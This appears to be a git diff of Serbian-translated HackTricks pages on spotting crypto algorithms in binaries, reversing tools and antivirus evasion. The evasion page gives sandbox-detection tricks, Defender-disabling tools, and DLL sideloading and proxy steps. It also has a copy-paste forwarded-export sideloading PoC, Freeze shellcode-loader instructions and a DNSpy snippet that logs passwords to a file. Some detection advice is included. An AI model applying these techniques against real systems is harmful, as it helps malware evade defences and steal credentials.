- Moguće je **razlikovati AES zahvaljujući korišćenju specifičnih vrednosti tabela za pretragu** (konstanti). _Napomena da se **konstant** može **čuvati** u binarnom **ili kreirati** _**dinamički**._
- **Ključ za enkripciju** mora biti **deljiv** sa **16** (obično 32B) i obično se koristi **IV** od 16B.
### SBox konstante
![](<../../images/image (380).png>)
## Serpent **(Simetrična Kriptografija)**
### Karakteristike
- Retko se nalazi neka malver koja ga koristi, ali postoje primeri (Ursnif)
- Lako je odrediti da li je algoritam Serpent ili ne na osnovu njegove dužine (ekstremno duga funkcija)
### Identifikacija
Na sledećoj slici obratite pažnju na to kako se konstanta **0x9E3779B9** koristi (napomena da se ova konstanta takođe koristi od strane drugih kripto algoritama kao što je **TEA** -Mali Enkripcioni Algoritam).\
Takođe obratite pažnju na **veličinu petlje** (**132**) i **broj XOR operacija** u **disasembleru** i u **primeru koda**:
![](<../../images/image (381).png>)
Kao što je ranije pomenuto, ovaj kod može biti vizualizovan unutar bilo kog dekompilatora kao **veoma duga funkcija** jer **nema skakanja** unutar nje. Dekomplirani kod može izgledati ovako:
![](<../../images/image (382).png>)
Stoga, moguće je identifikovati ovaj algoritam proverom **magične brojke** i **početnih XOR-ova**, videći **veoma dugu funkciju** i **upoređujući** neke **instrukcije** duge funkcije **sa implementacijom** (kao što su pomeranje ulevo za 7 i rotacija ulevo za 22).
## RSA **(Asimetrična Kriptografija)**
### Karakteristike
- Složeniji od simetričnih algoritama
- Nema konstanti! (prilagođene implementacije su teške za određivanje)
- KANAL (analizator kriptografije) ne uspeva da pokaže naznake o RSA jer se oslanja na konstante.
### Identifikacija poređenjem
![](<../../images/image (383).png>)
- U liniji 11 (levo) postoji `+7) >> 3` što je isto kao u liniji 35 (desno): `+7) / 8`
- Linija 12 (levo) proverava da li je `modulus_len < 0x040` i u liniji 36 (desno) proverava da li je `inputLen+11 > modulusLen`
## MD5 & SHA (heš)
### Karakteristike
- 3 funkcije: Init, Update, Final
- Slične inicijalizacione funkcije
### Identifikacija
**Init**
Možete identifikovati oba proverom konstanti. Napomena da sha_init ima 1 konstantu koju MD5 nema:
![](<../../images/image (385).png>)
**MD5 Transformacija**
Obratite pažnju na korišćenje više konstanti
![](<../../images/image (253) (1) (1) (1).png>)
## CRC (heš)
- Manji i efikasniji jer je njegova funkcija da pronađe slučajne promene u podacima
- Koristi tabele za pretragu (tako da možete identifikovati konstante)
### Identifikacija
Proverite **konstante tabela za pretragu**:
![](<../../images/image (387).png>)
CRC heš algoritam izgleda ovako:
![](<../../images/image (386).png>)
## APLib (Kompresija)
### Karakteristike
- Nema prepoznatljivih konstanti
- Možete pokušati da napišete algoritam u python-u i pretražujete slične stvari na mreži
### Identifikacija
Grafik je prilično veliki:
![](<../../images/image (207) (2) (1).png>)
Proverite **3 poređenja da biste ga prepoznali**:
![](<../../images/image (384).png>)
{{#include ../../banners/hacktricks-training.md}}

114
src/reversing/reversing-tools/README.md
View File

@ -1,114 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Vodič za dekompilaciju Wasm i kompilaciju Wat
U oblasti **WebAssembly**, alati za **dekompilaciju** i **kompilaciju** su neophodni za programere. Ovaj vodič uvodi neke online resurse i softver za rukovanje **Wasm (WebAssembly binarni)** i **Wat (WebAssembly tekst)** datotekama.
## Online alati
- Za **dekompilaciju** Wasm u Wat, alat dostupan na [Wabt's wasm2wat demo](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) je koristan.
- Za **kompilaciju** Wat nazad u Wasm, [Wabt's wat2wasm demo](https://webassembly.github.io/wabt/demo/wat2wasm/) služi toj svrsi.
- Druga opcija za dekompilaciju može se naći na [web-wasmdec](https://wwwg.github.io/web-wasmdec/).
## Softverska rešenja
- Za robusnije rešenje, [JEB by PNF Software](https://www.pnfsoftware.com/jeb/demo) nudi opsežne funkcije.
- Open-source projekat [wasmdec](https://github.com/wwwg/wasmdec) je takođe dostupan za zadatke dekompilacije.
# Resursi za dekompilaciju .Net
Dekompilacija .Net biblioteka može se ostvariti pomoću alata kao što su:
- [ILSpy](https://github.com/icsharpcode/ILSpy), koji takođe nudi [plugin za Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode), omogućavajući korišćenje na više platformi.
- Za zadatke koji uključuju **dekompilaciju**, **modifikaciju** i **rekompilaciju**, [dnSpy](https://github.com/0xd4d/dnSpy/releases) se toplo preporučuje. **Desni klik** na metodu i izbor **Modify Method** omogućava promene u kodu.
- [JetBrains' dotPeek](https://www.jetbrains.com/es-es/decompiler/) je još jedna alternativa za dekompilaciju .Net biblioteka.
## Unapređenje debagovanja i logovanja sa DNSpy
### DNSpy logovanje
Da biste logovali informacije u datoteku koristeći DNSpy, uključite sledeći .Net kod:
%%%cpp
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
File.AppendAllText(path, "Password: " + password + "\n");
%%%
### DNSpy debagovanje
Za efikasno debagovanje sa DNSpy, preporučuje se niz koraka za podešavanje **atributa biblioteke** za debagovanje, osiguravajući da su optimizacije koje bi mogle ometati debagovanje onemogućene. Ovaj proces uključuje promenu `DebuggableAttribute` podešavanja, rekonstrukciju biblioteke i čuvanje izmena.
Pored toga, da biste debagovali .Net aplikaciju koju pokreće **IIS**, izvršavanje `iisreset /noforce` ponovo pokreće IIS. Da biste priključili DNSpy na IIS proces za debagovanje, vodič savetuje da izaberete **w3wp.exe** proces unutar DNSpy i započnete sesiju debagovanja.
Za sveobuhvatan pregled učitanih modula tokom debagovanja, preporučuje se pristup **Modules** prozoru u DNSpy, nakon čega se otvaraju svi moduli i sortiraju biblioteke radi lakše navigacije i debagovanja.
Ovaj vodič obuhvata suštinu WebAssembly i .Net dekompilacije, nudeći put za programere da lako navigiraju ovim zadacima.
## **Java dekompilator**
Za dekompilaciju Java bajtkoda, ovi alati mogu biti veoma korisni:
- [jadx](https://github.com/skylot/jadx)
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
## **Debagovanje DLL-ova**
### Korišćenje IDA
- **Rundll32** se učitava iz specifičnih putanja za 64-bitne i 32-bitne verzije.
- **Windbg** se bira kao debager sa opcijom da se pauzira pri učitavanju/izlazku biblioteke omogućenom.
- Parametri izvršenja uključuju putanju DLL-a i naziv funkcije. Ova postavka zaustavlja izvršenje pri svakom učitavanju DLL-a.
### Korišćenje x64dbg/x32dbg
- Slično IDA, **rundll32** se učitava sa izmenama komandne linije kako bi se odredili DLL i funkcija.
- Podešavanja se prilagođavaju da se prekine na ulazu DLL-a, omogućavajući postavljanje tačke prekida na željenoj tački ulaza DLL-a.
### Slike
- Tačke zaustavljanja izvršenja i konfiguracije su ilustrovane kroz snimke ekrana.
## **ARM & MIPS**
- Za emulaciju, [arm_now](https://github.com/nongiach/arm_now) je koristan resurs.
## **Shellcodes**
### Tehnike debagovanja
- **Blobrunner** i **jmp2it** su alati za alokaciju shellcode-a u memoriji i debagovanje sa Idom ili x64dbg.
- Blobrunner [izdanja](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
- jmp2it [kompilovana verzija](https://github.com/adamkramer/jmp2it/releases/)
- **Cutter** nudi emulaciju i inspekciju shellcode-a zasnovanu na GUI-u, ističući razlike u rukovanju shellcode-om kao datotekom naspram direktnog shellcode-a.
### Deobfuskacija i analiza
- **scdbg** pruža uvide u funkcije shellcode-a i mogućnosti deobfuskacije.
%%%bash
scdbg.exe -f shellcode # Osnovne informacije
scdbg.exe -f shellcode -r # Izveštaj o analizi
scdbg.exe -f shellcode -i -r # Interaktivne petlje
scdbg.exe -f shellcode -d # Dump-ovanje dekodiranog shellcode-a
scdbg.exe -f shellcode /findsc # Pronađi start offset
scdbg.exe -f shellcode /foff 0x0000004D # Izvrši od offset-a
%%%
- **CyberChef** za disasembleranje shellcode-a: [CyberChef recept](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
## **Movfuscator**
- Obfuskator koji zamenjuje sve instrukcije sa `mov`.
- Korisni resursi uključuju [YouTube objašnjenje](https://www.youtube.com/watch?v=2VF_wPkiBJY) i [PDF prezentacije](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf).
- **demovfuscator** može da obrne obfuskaciju movfuscatora, zahtevajući zavisnosti kao što su `libcapstone-dev` i `libz3-dev`, i instaliranje [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md).
## **Delphi**
- Za Delphi binarne datoteke, [IDR](https://github.com/crypto2011/IDR) se preporučuje.
# Kursevi
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Binary deobfuscation\)
{{#include ../../banners/hacktricks-training.md}}

442
src/windows-hardening/av-bypass.md
View File

@ -1,78 +1,78 @@
# Antivirus (AV) Bypass
# Zaobilaženje antivirusa (AV)
{{#include ../banners/hacktricks-training.md}}
**Ovu stranicu je napisao** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
## Zaustavljanje Defender-a
## Zaustavljanje Defendera
- [defendnot](https://github.com/es3n1n/defendnot): Alat za zaustavljanje rada Windows Defender-a.
- [no-defender](https://github.com/es3n1n/no-defender): Alat za zaustavljanje rada Windows Defender-a lažiranjem drugog AV-a.
- [defendnot](https://github.com/es3n1n/defendnot): Alat za zaustavljanje rada Windows Defendera.
- [no-defender](https://github.com/es3n1n/no-defender): Alat koji zaustavlja Windows Defender lažirajući drugi AV.
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
## **AV Evasion Methodology**
Trenutno, AV-i koriste različite metode za proveru da li je fajl zlonameran ili ne: static detection, dynamic analysis, i za naprednije EDR-e, behavioural analysis.
Trenutno, AV koriste različite metode za proveru da li je fajl zlonameran ili ne: static detection, dynamic analysis, i za naprednije EDR-ove, behavioural analysis.
### **Static detection**
Static detection se postiže označavanjem poznatih zlonamernih stringova ili nizova bajtova u binarnom fajlu ili skripti, kao i izvlačenjem informacija iz samog fajla (npr. file description, company name, digital signatures, icon, checksum, itd.). To znači da korišćenje poznatih javnih alata može dovesti do bržeg otkrivanja, pošto su verovatno već analizirani i označeni kao zlonamerni. Postoji nekoliko načina da se zaobiđe ovakva detekcija:
Statička detekcija postiže se flagovanjem poznatih zlonamernih stringova ili nizova bajtova u binarnom fajlu ili skripti, kao i ekstrakcijom informacija iz samog fajla (npr. file description, company name, digital signatures, icon, checksum, itd.). To znači da korišćenje poznatih javnih alata može lakše dovesti do otkrivanja, jer su verovatno već analizirani i označeni kao zlonamerni. Postoji nekoliko načina da se zaobiđe ova vrsta detekcije:
- **Encryption**
Ako enkriptuješ binarni fajl, AV neće moći da detektuje tvoj program, ali ćeš morati da obezbediš loader koji dekriptuje i pokreće program u memoriji.
Ako enkriptuješ binarni fajl, AV neće moći da detektuje program, ali će ti trebati neki loader da dekriptuje i pokrene program u memoriji.
- **Obfuscation**
Ponekad je dovoljno promeniti neke stringove u binarnom fajlu ili skripti da bi prošao pored AV-a, ali to može biti dugotrajan posao u zavisnosti od toga šta pokušavaš da obfuskuješ.
Ponekad je dovoljno promeniti neke stringove u binarnom fajlu ili skripti da bi prošao pored AV-a, ali to može biti vremenski zahtevan posao u zavisnosti od toga šta pokušavaš da obfuskuješ.
- **Custom tooling**
Ako razviješ sopstvene alate, neće postojati poznati loši signaturi, ali to zahteva mnogo vremena i truda.
Ako razviješ sopstvene alate, neće postojati poznate zle potpise, ali to zahteva mnogo vremena i truda.
> [!TIP]
> Dobar način da proveriš protiv Windows Defender static detection je [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). On praktično deli fajl na više segmenata i traži od Defender-a da skenira svaki pojedinačno; na taj način može da ti kaže tačno koji su stringovi ili bajtovi označeni u tvom binarnom fajlu.
> Dobar način za proveru protiv Windows Defender statičke detekcije je [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). On praktično deli fajl na više segmenata i potom zadatkuje Defender da skenira svaki pojedinačno; na taj način može tačno da ti kaže koji su stringovi ili bajtovi označeni u binarnom fajlu.
Toplo preporučujem da pogledaš ovu [YouTube playlistu](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) o praktičnom AV Evasion.
### **Dynamic analysis**
Dynamic analysis je kada AV pokreće tvoj binarni fajl u sandbox-u i posmatra zlonamerno ponašanje (npr. pokušaj dekriptovanja i čitanja lozinki iz browser-a, pravljenje minidump-a nad LSASS, itd.). Ovaj deo može biti malo komplikovaniji, ali evo nekoliko stvari koje možeš uraditi da izbegneš sandbokse.
Dinamička analiza je kada AV pokreće tvoj binarni fajl u sandbox-u i posmatra zlonamerno ponašanje (npr. pokušaj dekriptovanja i čitanja lozinki iz browsera, pravljenje minidump-a LSASS-a, itd.). Ovaj deo može biti malo teži za zaobići, ali evo nekoliko stvari koje možeš uraditi da izbegneš sandbo xe.
- Sleep before execution — U zavisnosti od implementacije, može biti odličan način zaobilaženja AV-ove dynamic analysis. AV-i obično imaju veoma malo vremena za skeniranje fajlova kako ne bi ometali rad korisnika, pa korišćenje dugih sleep-ova može poremetiti analizu binarnih fajlova. Problem je što mnogi sandbox-i jednostavno mogu preskočiti sleep u zavisnosti od načina implementacije.
- Checking machine's resources — Obično sandboksi imaju vrlo malo resursa (npr. < 2GB RAM), da ne bi usporili mašinu korisnika. Ovde možeš biti kreativan: npr. proverom temperature CPU-a ili brzine ventilatora — ne sve će biti implementirano u sandbox-u.
- Machine-specific checks — Ako želiš da ciljano napadneš korisnika čija je radna stanica pridružena domenu "contoso.local", možeš proveriti domen računara da li se poklapa, i ako se ne poklapa, aplikacija može da izađe.
- **Sleep before execution** U zavisnosti od implementacije, može biti odličan način za zaobilaženje AV-ove dinamičke analize. AV-ovi imaju vrlo kratak vremenski prozor za skeniranje fajlova da ne bi prekinuli korisnikov rad, pa korišćenje dugih sleep-ova može poremetiti analizu binarnih fajlova. Problem je što mnogi AV-ovi imaju sandbox-e koji mogu jednostavno preskočiti sleep u zavisnosti od implementacije.
- **Checking machine's resources** Obično sandbox-i imaju vrlo malo resursa za rad (npr. < 2GB RAM), inače bi mogli usporiti korisnikov računar. Ovdje možeš biti kreativan, npr. proverom temperature CPU-a ili čak brzine ventilatora — nije sve implementirano u sandbox-u.
- **Machine-specific checks** Ako želiš ciljati korisnika čija je radna stanica pridružena domenu "contoso.local", možeš proveriti domen računara da vidiš da li se poklapa s onim koji si zadao; ako se ne poklapa, program može izaći.
Ispostavilo se da je computername Microsoft Defender-ovog Sandbox-a HAL9TH, pa možeš proveriti ime računara u svom malware-u pre detonacije — ako se ime poklapa sa HAL9TH, znači da si unutar defender-ovog sandbox-a i možeš naterati program da izađe.
Ispostavilo se da je computername Microsoft Defender-ovog Sandbox-a HAL9TH, tako da možeš proveriti ime računara u svom malveru pre detonacije; ako ime odgovara HAL9TH, znači da si unutar Defender sandbox-a, pa program može izaći.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>izvor: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Još par odličnih saveta od [@mgeeky](https://twitter.com/mariuszbit) za rad protiv Sandboxes
Neki drugi zaista dobri saveti od [@mgeeky](https://twitter.com/mariuszbit) za suprotstavljanje Sandboxes
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev kanal</p></figcaption></figure>
Kao što smo već rekli u ovom postu, public tools će na kraju biti detected, pa treba da postaviš sebi pitanje:
Kao što smo ranije rekli, **javne alatke** će na kraju **biti detektovane**, pa bi trebalo da postaviš sebi pitanje:
Na primer, ako želiš da dump-uješ LSASS, da li zaista moraš da koristiš mimikatz? Ili bi mogao da nađeš neki drugi, manje poznat projekat koji takođe dump-uje LSASS.
Na primer, ako želiš da dump-uješ LSASS, **da li zaista moraš da koristiš mimikatz**? Ili možeš koristiti neki drugi projekat koji je manje poznat i takođe dump-uje LSASS.
Ispravni odgovor je verovatno potonji. Uzimajući mimikatz kao primer, verovatno je jedan od, ako ne i najviše flagovanih komada kod-a od strane AV-a i EDR-a — dok je projekat sjajan, veoma je problematično raditi sa njim u smislu zaobilaženja AV-a, pa jednostavno potraži alternative za cilj koji pokušavaš da postigneš.
Pravi odgovor je verovatno ovo drugo. Uzmimo mimikatz kao primer — verovatno je jedan od, ako ne i najviše flagovanih komada “malvera” od strane AV-ova i EDR-ova; i dok je projekat super dobar, on predstavlja noćnu moru kada želiš da ga zaobiđeš, pa potraži alternative za ono što pokušavaš da postigneš.
> [!TIP]
> Prilikom modifikovanja payload-ova radi evasion, obavezno isključi automatic sample submission u defender-u, i molim te, ozbiljno, NE UPLADUJ NA VIRUSTOTAL ako ti je cilj dugoročna evasion. Ako želiš da proveriš da li tvoj payload detektuje određeni AV, instaliraj ga na VM, pokušaj da isključiš automatic sample submission i testiraj tamo dok ne budeš zadovoljan rezultatom.
> Kada modifikuješ svoje payload-e radi evazije, obavezno isključi automatic sample submission u defender-u, i molim te, ozbiljno, **NE UČITAVAJ NA VIRUSTOTAL** ako ti je cilj dugoročna evazija. Ako želiš da proveriš da li tvoj payload biva detektovan od strane nekog AV-a, instaliraj taj AV na VM, pokušaj da isključiš automatic sample submission i testiraj tamo dok nisi zadovoljan rezultatom.
## EXEs vs DLLs
Kad god je moguće, uvek **prioritet daj korišćenju DLL-a za evasion** — iz mog iskustva, DLL fajlovi su obično **mnogo manje detektovani** i analizirani, pa je to veoma jednostavan trik da se u nekim slučajevima izbegne detekcija (ako tvoj payload ima način da radi kao DLL, naravno).
Kad god je moguće, uvek **prioritizuj korišćenje DLL-ova za evaziju** — po mom iskustvu, DLL fajlovi su obično **mnogo manje detektovani** i analizirani, pa je to jednostavan trik da izbegneš detekciju u nekim slučajevima (ako tvoj payload ima način da se pokrene kao DLL, naravno).
Kao što vidimo na ovoj slici, DLL Payload iz Havoc-a ima detection rate 4/26 na antiscan.me, dok EXE payload ima 7/26 detection rate.
Kao što vidimo na slici, DLL Payload iz Havoc-a ima detection rate 4/26 na antiscan.me, dok EXE payload ima 7/26 detection rate.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me poređenje normalnog Havoc EXE payload-a vs normalnog Havoc DLL-a</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me poređenje normalnog Havoc EXE payload-a naspram normalnog Havoc DLL-a</p></figcaption></figure>
Sada ćemo pokazati neke trikove koje možeš koristiti sa DLL fajlovima da bi bio mnogo stealthier.
Sada ćemo pokazati neke trikove koje možeš koristiti sa DLL fajlovima da budeš mnogo prikriveniji.
## DLL Sideloading & Proxying
**DLL Sideloading** koristi DLL search order kojom se loader služи tako što pozicionira i victim application i malicious payload(s) jedan pored drugog.
**DLL Sideloading** koristi redosled pretrage DLL-ova koji loader sledi tako što pozicionira i victim aplikaciju i zlonamerne payload-e jedan pored drugog.
Možeš proveriti programe podložne DLL Sideloading koristeći [Siofra](https://github.com/Cybereason/siofra) i sledeći powershell script:
```bash
@ -83,13 +83,13 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
```
Ova komanda će ispisati listu programa podložnih DLL hijackingu unutar "C:\Program Files\\" i DLL fajlova koje pokušavaju da učitaju.
Toplo preporučujem da **istražite DLL Hijackable/Sideloadable programe sami**, ova tehnika je prilično stealthy ako se pravilno uradi, ali ako koristite javno poznate DLL Sideloadable programe, lako možete biti otkriveni.
Toplo preporučujem da **explore DLL Hijackable/Sideloadable programs yourself**, ova tehnika je prilično stealthy ako se pravilno izvede, ali ako koristite javno poznate DLL Sideloadable programe, lako možete biti otkriveni.
Samo postavljanje malicioznog DLL-a sa imenom koje program očekuje da učita neće automatski pokrenuti vaš payload, jer program očekuje određene funkcije u tom DLL-u; da bismo to rešili, koristićemo drugu tehniku nazvanu **DLL Proxying/Forwarding**.
Samo postavljanje zlonamernog DLL-a sa imenom koje program očekuje da učita neće pokrenuti vaš payload, jer program očekuje određene funkcije u tom DLL-u; da bismo rešili ovaj problem, koristićemo drugu tehniku zvanu **DLL Proxying/Forwarding**.
**DLL Proxying** prosleđuje pozive koje program pravi iz proxy (i malicioznog) DLL-a ka originalnom DLL-u, čime se očuva funkcionalnost programa i omogućava rukovanje izvršavanjem vašeg payload-a.
**DLL Proxying** prosleđuje pozive koje program upućuje sa proxy (i malicious) DLL-a na originalni DLL, čime se čuva funkcionalnost programa i omogućava rukovanje izvršenjem vašeg payload-a.
Koristiću projekat [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) autora [@flangvik](https://twitter.com/Flangvik/)
Koristiću projekat [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) od [@flangvik](https://twitter.com/Flangvik/)
Ovo su koraci koje sam pratio:
```
@ -98,46 +98,48 @@ Ovo su koraci koje sam pratio:
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
Poslednja komanda će nam dati dva fajla: DLL source code template i originalno preimenovani DLL.
Poslednja komanda će nam dati 2 datoteke: a DLL source code template, and the original renamed DLL.
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
```
Ovo su rezultati:
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! To bih nazvao uspehom.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> I **toplo preporučujem** da pogledate [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) o DLL Sideloading i takođe [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) da saznate više o onome što smo detaljnije diskutovali.
> **Toplo preporučujem** da pogledate [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) o DLL Sideloading i takođe [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) kako biste saznali više o onome što smo detaljnije razmatrali.
### Abusing Forwarded Exports (ForwardSideLoading)
### Zloupotreba prosleđenih Export-a (ForwardSideLoading)
Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will:
- Učitaj `TargetDll` ako već nije učitan
- Reši `TargetFunc` iz njega
- Učitaće `TargetDll` ako već nije učitan
- Pronaći `TargetFunc` u njemu
Key behaviors to understand:
- Ako je `TargetDll` KnownDLL, on se dobija iz zaštićenog KnownDLLs namespace-a (e.g., ntdll, kernelbase, ole32).
- Ako `TargetDll` nije KnownDLL, koristi se uobičajeni redosled pretrage DLL-ova, koji uključuje direktorijum modula koji vrši forward rezoluciju.
Ključna ponašanja koja treba razumeti:
- Ako je `TargetDll` KnownDLL, on se isporučuje iz zaštićenog KnownDLLs namespace-a (npr., ntdll, kernelbase, ole32).
- Ako `TargetDll` nije KnownDLL, koristi se normalni redosled pretrage DLL-ova, koji uključuje direktorijum modula koji vrši razrešavanje forward-a.
Ovo omogućava indirektni sideloading primitiv: pronađite potpisani DLL koji eksportuje funkciju forwardanu na modul čije ime nije KnownDLL, zatim postavite tog potpisanog DLL-a u isti direktorijum zajedno sa DLL-om kojim kontroliše napadač, koji je tačno imenovan kao forwardani ciljni modul. Kada se forwardani eksport pozove, loader reši forward i učita vaš DLL iz istog direktorijuma, izvršavajući vaš DllMain.
Ovo omogućava indirektni sideloading primitive: pronađite potpisani DLL koji exportuje funkciju forwardovanu na ime modula koje nije KnownDLL, zatim postavite taj potpisani DLL u istu fasciklu sa DLL-om pod kontrolom napadača koji je tačno imenovan kao prosleđeni ciljni modul. Kada se prosleđeni export pozove, loader razreši forward i učita vaš DLL iz istog direktorijuma, izvršavajući vaš DllMain.
Example observed on Windows 11:
```
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
```
`NCRYPTPROV.dll` nije KnownDLL, pa se rešava putem normalnog redosleda pretrage.
`NCRYPTPROV.dll` nije KnownDLL, tako da se rešava putem normalnog redosleda pretrage.
PoC (copy-paste):
1) Kopirajte potpisanu sistemsku DLL datoteku u direktorijum u koji se može pisati
1) Kopirajte potpisani sistemski DLL u mapu u koju se može pisati
```
copy C:\Windows\System32\keyiso.dll C:\test\
```
2) Postavite zlonamerni `NCRYPTPROV.dll` u isti folder. Minimalni DllMain je dovoljan da se dobije izvršavanje koda; nije potrebno implementirati forwarded function da bi se trigger DllMain.
2) Postavite zlonamerni `NCRYPTPROV.dll` u isti direktorijum. Minimalan DllMain je dovoljan za izvršenje koda; nije potrebno implementirati prosleđenu funkciju da biste pokrenuli DllMain.
```c
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
@ -155,29 +157,29 @@ rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
```
Posmatrano ponašanje:
- rundll32 (signed) učitava side-by-side `keyiso.dll` (signed)
- Dok rešava `KeyIsoSetAuditingInterface`, loader prati prosleđivanje na `NCRYPTPROV.SetAuditingInterface`
- Loader potom učitava `NCRYPTPROV.dll` iz `C:\test` i izvršava njegov `DllMain`
- Dok rešava `KeyIsoSetAuditingInterface`, loader sledi preusmeravanje ka `NCRYPTPROV.SetAuditingInterface`
- Zatim loader učitava `NCRYPTPROV.dll` iz `C:\test` i izvršava njegov `DllMain`
- Ako `SetAuditingInterface` nije implementiran, dobićete grešku "missing API" tek nakon što se `DllMain` već izvršio
Saveti za otkrivanje:
- Usredsredite se na prosleđene eksportovane funkcije gde ciljni modul nije KnownDLL. KnownDLLs su navedeni pod `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Možete izlistati prosleđene eksportovane funkcije alatima kao što su:
Saveti za detekciju:
- Fokusirajte se na forwarded exports gde ciljni modul nije KnownDLL. KnownDLLs su navedeni pod `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Možete enumerisati forwarded exports pomoću alata kao što su:
```
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
```
- Pogledajte inventar Windows 11 forwardera da biste potražili kandidate: https://hexacorn.com/d/apis_fwd.txt
- Pogledajte Windows 11 forwarder inventar da biste potražili kandidate: https://hexacorn.com/d/apis_fwd.txt
Detection/defense ideas:
- Monitor LOLBins (e.g., rundll32.exe) koji učitavaju potpisane DLL-ove iz nesistemskih putanja, praćeno učitavanjem non-KnownDLLs sa istim osnovnim imenom iz tog direktorijuma
- Upozorite na lance proces/module poput: `rundll32.exe` → nesistemski `keyiso.dll` → `NCRYPTPROV.dll` na putanjama koje su upisive od strane korisnika
- Primijenite politike integriteta koda (WDAC/AppLocker) i zabranite write+execute u direktorijumima aplikacija
- Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory
- Alert on process/module chains like: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` under user-writable paths
- Enforce code integrity policies (WDAC/AppLocker) and deny write+execute in application directories
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
Možete koristiti Freeze da učitate i izvršite vaš shellcode na neupadljiv način.
Možete koristiti Freeze da učitate i izvršite svoj shellcode na prikriven način.
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
@ -187,13 +189,13 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Evasion je samo igra mačke i miša — ono što radi danas može biti otkriveno sutra, zato se nikada ne oslanjajte samo na jedan alat; ako je moguće, pokušajte povezivati više evasion techniques.
> Evasion je samo igra mačke i miša — ono što funkcioniše danas može biti detektovano sutra, zato se nikada ne oslanjajte samo na jedan alat; ako je moguće, pokušajte povezati više evasion techniques.
## AMSI (Anti-Malware Scan Interface)
AMSI je napravljen da spreči "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". U početku su AVs bili u stanju da skeniraju samo **files on disk**, pa ako biste nekako uspeli da izvršite payloads **directly in-memory**, AV nije mogao ništa da uradi da to spreči, jer nije imao dovoljan uvid.
AMSI je kreiran da spreči "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". U početku su AVs mogli da skeniraju samo **files on disk**, pa ako biste na neki način izvršili payloads **directly in-memory**, AV nije mogao ništa da uradi da to spreči, jer nije imao dovoljno uvida.
AMSI feature je integrisan u sledeće Windows komponente.
AMSI feature je integrisan u sledeće komponente Windows-a.
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
